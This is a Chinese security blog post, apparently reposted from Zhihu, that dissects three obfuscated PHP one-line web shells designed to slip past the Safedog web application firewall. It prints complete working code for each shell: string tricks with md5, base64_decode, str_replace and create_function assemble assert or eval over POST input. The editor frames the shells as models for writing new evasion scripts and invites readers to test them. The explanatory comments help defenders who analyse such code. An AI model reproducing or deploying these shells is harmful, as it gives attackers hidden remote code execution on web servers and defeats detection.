最新消息:

三个混淆过狗一句话分析

WEB安全 Eternal 4259浏览 0评论

1.一句话的工作原理

首先我们看一下就常见的一句话。

<?php @eval($_POST[‘pass’])?>

单从php语法上理解,首先$_POST会获取post到服务器的参数名为pass的数据,然后eval会将$_POST获取的字符串按照php语法进行解析,这样我们通过各种php函数的组合使用就能通过中国菜刀等工具对服务器的文件进行操作,这也就是常见一句话的工作原理。

文章深入浅出玩转php一句话(含过waf新姿势)_网站安全_i春秋社区-分享你的技术,为安全加点温度对一句话的工作原理进行了深入分析,今天我们的重点不是一句话的原理,所以不做重点介绍。

2.过狗一句话

下面我将分析三个在学习工作中遇到的混淆过狗马,其思路大致相同。

<?php
  $csawa=substr(hash("md5","woshiA", false),-5,1);
	//分解步骤
	//$csawa=substr(‘219be7b7544871c82a8a769169aavb58’,-5,1);  //hash函数执行完毕后
	//$csawa=’a’;  //substr函数执行完毕后,得到字符串a
	//hash函数对字符串woshiA进行md5加密,然后subsrt函数获取加密后字符串,从倒数第五个字符开始,获取一个得到a。
  $sgdas=substr(base64_decode("d29zaGlzYQ=="),-2,1);
	//分解步骤
	//$sgdas=substr(‘woshisa’,-2,1);   //base64_decode函数执行完毕后
	//$sgdas=‘s’;   //substr函数执行完毕后,得到字符串s
	//base64_decode对字符串d29zaGlzYQ==进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s
  $sasds=substr(base64_decode("d29zaGlzYTI="),-3,1);
  //分解步骤
  //$sasds=substr('woshisa2',-3,1); //base64_decode函数执行完毕后
  //$sasds='s';   //substr函数执行完毕后,得到字符串s
	//base64_decode对字符串d29zaGlzYTI=进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s
  $saswe=substr(hash("md5","woshie", false),-3,1);
  //分解步骤
  //$saswe=substr('ab4660f0d04e6a1b1891ed85cc038e08',-3,1)  //hash函数执行完毕后
  //$saswe='e'  //substr函数执行完毕后,得到字符串e
  //hash函数对字符串woshie进行md5加密,然后subsrt函数获取加密后字符串,从倒数第三个字符开始,获取一个得到e。
  $udkar=substr(base64_decode("d29zaGly"),-1,1);
  //分解步骤
	//$udkar=substr(‘woshir’,-1,1);   //base64_decode函数执行完毕后
	//$udkar=‘r’;   //substr函数执行完毕后,得到字符串r
	//base64_decode对字符串d29zaGly进行base64的解密,得到解密后的字符串以后,从倒数第一个字符开始获取一个字符,得到r
  $aefft=substr(base64_decode("d29zaGl0YWFz"),-4,1);
  //分解步骤
	//$aefft=substr(‘woshitaas’,-4,1);   //base64_decode函数执行完毕后
	//$aefft=‘t’;   //substr函数执行完毕后,得到字符串t
	//base64_decode对字符串d29zaGl0YWFz进行base64的解密,得到解密后的字符串以后,从倒数第四个字符开始获取一个字符,得到t
  $ckt=$csawa.$sgdas.$sasds.$saswe.$udkar.$aefft;
  //分解步骤
  //$ckt='a'.'s'.'s'.'e'.'r'.'t'
  //$ckt='assert';
  //通过拼接字符串得到函数assert
  $ckt($_POST['cmd']);
  //分解步骤
  //assert($_POST['cmd']);
?>

过狗马2:通过在函数中混入随机字符躲避关键字扫描

<?php
$mt="mFsKCleRfU";
$ojj="IEBleldle";
$hsa="E9TVFsnd2VuJ10p";
$fnx="Ow==";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
//字符串替换:替换sdtdrd_redpdldadcde里的d为空  得到函数str_replace
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
//调用$zk 字符串替换:替换zbazsze64_zdzeczodze里的z为空  得到base64_decode
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
//调用$zk 字符串替换:替换pcprpepaptpe_fpupnpcptpipopn里的z为空   得到create_function创建匿名函数
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
//分解步骤
//$zvm=create_function(base64_decode(str_replace("le","","IEBleldlemFsKCleRfUE9TVFsnd2VuJ10pOw==")))  //拼接后的语句
//$zvm=create_function(base64_decode(IEBldmFsKCRfUE9TVFsnd2VuJ10pOw==)))   //执行完str_sreplace函数后,返回base64加密后的字符串
//$zvm=create_function(@eval($_POST['wen']));   //执行完base64_decode 得到解密后的字符串 得到一句话木马 密码是wen
$zvm();  //执行
?>

过狗马3:类似于第二个,不做过多分析

<?php
$uf="snd2Fqd";
$ka="IEBldmFsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");  //空格替换ti str_replace
$iqw="WVqaSddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");     //空格替换k base64_decode  (base64加密)
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");   //空格替换ctw create_function
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw)));
//$mpy =create_function('', base64_decode(str_replace("b", "",'IEBldmFsKCRfUE9TVFsnd2FqdWVqaSddKTs=')))
//$mpy= @eval($_POST['wajueji']);
$mpy();
?>

以上三个马在发现时均能躲过xx狗,现在行不行请自行测试。

小编短评:

不出意外的话,现在应该已经失效了!其实我们主要学的,就是这种巧妙的思路。这对我们后续自己编写过狗脚本,会有很大的帮助。

本文作者:sn0w

原文地址:https://zhuanlan.zhihu.com/p/24845578?refer=ichunqiu

转载请注明:即刻安全 » 三个混淆过狗一句话分析

您必须 登录 才能发表评论!



合作伙伴